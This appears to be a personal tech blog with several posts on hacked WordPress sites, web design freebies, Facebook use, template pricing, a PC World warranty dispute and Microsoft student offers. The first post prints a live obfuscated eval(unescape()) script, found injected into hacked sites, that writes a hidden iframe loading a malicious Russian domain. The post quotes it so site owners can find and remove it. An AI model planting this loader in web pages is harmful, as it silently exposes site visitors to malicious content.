The Computing Expert

Lately I have noticed a lot of my blogs and php sites keep getting hacked and when they are loaded they start downloading data from the URL traffurl.ru.

If you are having similar problems change all of your passwords, this includes you hosting account password, wordpress login password and FTP access passwords. This will go someway to stopping these idiots hacking your site.

If you are using Wordpress ensure that you have upgraded to the highest version possible (stable one obviously) and then you stand a chance of not getting hacked because of vulnerabilities in the coding of some of the previous versions.

Also I have found that when my sites have been hacked a line of code has been added to the top similar to this:

<!-- ~ --><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%66%66%34%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%33%36%31%31%35%29%2b%27%39%5c%27%20%77%69%64%74%68%3d%37%39%35%20%68%65%69%67%68%74%3d%32%39%37%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script><!-- ~ -->

In wordpress this appears in the index.php page of your wordpress installation so open the file and delete this line of code. A lot of people tend to just reinstall wordpress which is a lot of hassle if it is all set up and working great, so deleting this line is a much better idea and don’t forget to change your passwords.

At this years Fortune Green conference, Dell showed off their new eco-inspired computer. The computer, according to Dell, is around 80% smaller than a normal desktop PC and it uses 70% less power. It is made out of recycled materials and is finished with a bamboo casing.

The product is expected to come out later this year and will cost around £250 - £350. You can check out more and look at the pics over at earth2tech by clicking here.

How addicted are you? I personally tend to look at Facebook a couple of times a day but as a report carried out by Sophos suggests, far too many people spend far to long on one of the biggest social networking sites in the world.

Facebook has more than 70 million active users and is the 6th biggest site in the world according to comScore (Source: Facebook). With its vast user base you would expect people coming back and forth now and again but according to the report published by Sophos back in October 2007, over 14.8% of users spend “virtually all the time” on Facebook. (Source: Sophos).

The report, that asked 500 facebook users about how much time they spend on Facebook during office hours (tut, tut, tut), also stated that over 37% said that they visited the site at least once or twice a day, with the majority of 40% saying that they don’t access Facebook at their office.

So what makes Facebook so addictive, is it looking at the photos from the party last night, playing them flash games with your friends, chatting to your friends through the wall, sending stupid chain messages through Superwall every two seconds so you don’t get run over (I hate them) or checking in on your friends life. Whatever it is, Facebook has gotten big because of its addictive aspect, its just a matter of time before the government bans it in public places, lol.

Joking aside, Sophos made a very good point in their report:

“the survey results add weight to growing fears that sites such as Facebook are having a hugely detrimental impact on business productivity”

How long until they ban it at your office? What would you do without facebook? What are the withdrawal symptoms and Will Facebook let you quit?

As a web designer I am always happy when I come across icons, stock photography, fonts etc. that I can use for free on my websites, it cuts out a lot of work for me and makes my templates or client websites look a lot better.

Below is a list of my top freebies, these include sites to get templates, icons etc. Some of these will require you to link to the site but in most cases it is worth it. It is always good practice to get in touch with the person who created the media to see what you can and can’t do.

ICONS

1. Everaldo Crystal Icon Set
   
   Over 1300 icons means that whatever you need an icon for you will be able to find one that performs that purpose really well. The icons are released under the LGPL license and can be downloaded at http://www.everaldo.com/crystal/. This is by far one of the best icon sets around so snap it up now.
2. RSS feed icons
   
   These nifty looking RSS icons can make your blog look fantastic and more importantly direct their eyes to the RSS feed link, which means that you may well get more visitors coming back. You can download the icon set here: http://fasticon.com/freeware/?p=86
   
   
3. A selection of 35 iconsets
   
   Probably one of the best icon set lists on the internet. From smashingmagazine.com, it lists 35 of the very best icons that you can use for your web designs and in other things like your computer desktop. You can view the full list here: http://www.smashingmagazine.com/2008/03/06/35-really-incredible-free-icon-sets/. Smashing Magazine is also a great site for freebies to help with web design, so make sure you check it out.

STOCK PHOTOGRAPHY

1. Wikimedia Commons.
   Not the best stock photography site around but most of them require you to pay a fee for each image and this is not the case with wikimedia, you can use most of the images for nearly every purpose and in most cases not even leave credit. You can go to Wikimedia Commons here: http://commons.wikimedia.org
2. Stock.xchng.
   
   This is one of my personal favourites. It has over 350,000 images in the index, some have restrictions and some don’t, there is a link on each image details page to the license and you can contact the creator to ask questions. All the creators that I have got in contact with have been very helpful and friendly so a great site and a great community. To go to stock.xchng click here: http://www.sxc.hu/

TEMPLATES
Free templates are a great way to get inspiration for new designs. In this section I will be showing you a number of sites where you can see some great templates or website designs to help with your designing.

1. CSS Mania.
   
   One of the biggest CSS showcase websites is CSS Mania, it is regularly updated with some of the best website designs. You can view the template here: http://cssmania.com/
2. WP-THEMES-FREE
   
   Personally I find this the best wordpress themes directory out there. Wordpress templates are one of the biggest areas in web design today so it is worth seeing what is available for free, there are many fantastic wordpress themes that provide brilliant inspiration for designers and you will find a lot of them on this site. You can view the site here: http://www.wpthemesfree.com/

There you have it, a number of great freebies and good sites. If you know of any other then please do leave them as comments here on my design and programming site: http://help-developer.com/index.php/2008/04/12/freebies-for-web-designers/

Also check out Help Developer for more of my design and programming related discussion and tutorials. 

I have put together 4 tutorials to show how to create RSS feeds with the Gimp, these are the end results:

The tutorials can be found on my design and programming tutorial blog, Help Developer:

Tutorial 1: http://help-developer.com/index.php/2008/04/12/create-an-rss-feed-iconbutton/
Tutorial 2: http://help-developer.com/index.php/2008/04/12/create-an-rss-feed-iconbutton-part-2/

Tutorial 3: http://help-developer.com/index.php/2008/04/14/create-an-rss-feed-iconbutton-part-3/

Tutorial 4:  http://help-developer.com/index.php/2008/04/14/create-an-rss-feed-iconbutton-part-4/

Have you ever thought up of an idea for a site and think, wow this has never been done before that I know of and then suddenly found that actually it has been done, not once but over and over and over again.

Some days I wish that I could go back to the start of the dot com boom (i was a kid back then mind) and be at that point where if you created something new, which was very easy to do back then, then you could become and instant success. Sadly, this isn’t the case.

From January to March this year I was working on a site called showthatportfolio, which offered artists and designers a place to showcase their work with the outcome being that they would receive contracts from clients who have viewed their portfolio. When I started I did a bit of research and I looked around for sites that were similar and the only one I found was DeviantArt which was a great site but didn’t have that aspect of getting contracts as their main focus. So I spent three hard months putting together showthatportfolio learning PHP/MySQL on the way.

Eventually it came to launch day and I got people going to it and people signed up, added their work and started using the site. Then after the first day things started to die and kept on dying, below are the visitor statistics since launch:

Not too great as you can see.

So, today I sat down for a good hour trying to think of an idea for a new site, I thought long and hard and whenever I came up with an idea I googled it and everytime there was a site already there. Doing a search for social network gives 33 million websites. The internet is overcrowded with social networks and web 2.0 sites. It has even got to the point where sites are turning to TV advertising, the amount of sites I am seeing for comparing car insurance and meeting people is ridiculous.

Is the internet boom over, what are your opinions on this?

I am a freelance web designer and have been for some 6 months now and for a while I was doing very well, boy there were some days when I was making upwards of $300 (£150) just from a couple of templates, but for the past month or so the only money I have been making is through web design and coding contracts rather than selling templates which were far easier to make money on.

I wanted to see whether it was simply the season or whether it was actually the way that the web design market was going, so I started up a thread on the DigitalPoint forum, which is the biggest webmaster forum for selling templates, web design contracts and the like. You can find the thread here: http://forums.digitalpoint.com/showthread.php?t=605524.

We came to the conclusion in this thread that because so many people were joining the web design industry and more particularly joining through DigitalPoint, that it had pushed down prices massively and now template buyers are put off by purchasing quality templates at the price that they are worth.

The problem is that the forum gets cluttered up with newbie designers selling crap templates for a couple of dollars whilst the top quality designs worth $100s end up down the pages where buyers don’t look, and then to make it even worse, the template doesn’t sell or you end up selling it for $20 or something ridiculous like that.

There were suggestions that the forum should split into sections for each type of template which I think is a great idea, the only problem with that of course is that the admins at the forum think that it is not busy enough, even though its very users (the people that hold that forum together) are loosing their income because of it.

There is hope for wordpress theme designers/coders because Matt at Wordpress will soon be launching a wordpress theme marketplace for users to sell their themes (more information in this podcast: click here), so that may improve the situation and bump up prices for unique themes and get rid of all the crappy themes off of DigitalPoint.

So in conclusion, web designers going broke on DigitalPoint and other forums such as TalkFreelance, is because newbie have a go designers are creating crappy templates and selling them for far less than any decent designer can go to. There needs to be a new place to sell templates that is exclusive to proper designers.

What are your thoughts on this:

Hello fellow blog readers, okay I’ve probably lost most of my readers because I haven’t updated this for a very long time, sorry about that. A lot has happened.

I am now at the University of Huddersfield doing a BSc Honours degree in Software Development most of which I enjoy, it has its boring areas but I like uni, its the good life. I’m doing a lot of web design work now as well, thats keeping me going whilst at uni and I sort of haven’t been keeping an eye on the computing world and most of my sites are out of date, so out of date that they are getting spammed, I get on average about 5 comments a day on my sites, all of which are spam.

Anyway I’m back and I will start blogging again, so tell your mates The Computing Expert is back in town.

What angers me more than anything is that people who don’t even understand the basics of Linux just give up before even trying. In the case study below someone purchases a laptop at the dreaded PC World here in the UK and then takes it back to get fixed because there is a crack on the casing to be told that because it has Linux, the warranty doesn’t cover it. What the hell does software have to do with a crack on the exterior.

” Today I took my laptop to pc world because a crack has developed near the left hinge, this develops because the joint inside is failing and spreading to the casing.
Laptop is only 4 or 5 months old and otherwise in good condition.
It was agreed that infact there is indeed an issue with the hinge and that it
will spread much further untill the display can no longer stay attached to the
rest of the unit.
Then I was told because I have Linux installed, I am not covered by my warranty.
I was told that they do not have to help me and thats it.
So now I have a new laptop, its failing fast and I feel they are messing around
with my statutory rights. I have contacted CAB and waiting to hear what my options
are, I am really hoping this is against the law because software has nothing to
do with hardware failure. One could argue, this is infact a design fault too sincethis is not the first time an Acer laptop has gone this way. “

Hmm, seems to me like PC World don’t have any idea about computers, oh yeah, I just realized they never have.

A word of advice to people who don’t have much experience, just because PC World has a sale it doesn’t mean that you should buy from them, I haven’t ever heard of anyone who has been happy with what they have got from PC World and it is always the same, the staff don’t know anything, its a step up from McDonald’s.

About 6 months ago in Australia, Microsoft released a program called “It’s not cheating” which was aimed at stopping student pirating their software. Well obviously it has been a success because Microsoft have announced that they will be releasing similar programs in the UK, US, Italy, France and Spain where they will offer Office 2007 for a measly £30 (USD 60) which is around 90% less than the original RRP price.

Microsoft feel that if the user is likely to get the software for a cheap enough price then they will more likely purchase it rather than go through the process of pirating it as many students do nowadays.

There are alternatives, personally I use Open Office but that is because I use Linux so I cant use Microsoft Office without MS frowning upon me. Although I believe that the future of software is online, MS Office 2007 is by far one of my favourite programs or suite of programs but for many students it is not necessary to use the more advanced features seen in the latest MS Office so are more likely to go for cheaper alternatives (MS Works) or free software (Open Office or a nice number of online alternatives).

The programs come under some strange names, “It’s Not Cheating” and “The Ultimate Steal”, designed to attract students to the rather scamming style of the websites and logos. The offer will end on my birthday next year (30th April 2008), so get in their quick.

To save money, you will have to download the software from the internet rather than getting it packaged. For “The Ultimate Steal” go here: http://www.theultimatesteal.com/, you will need a student email address to get it. Hey I’m a student, woop!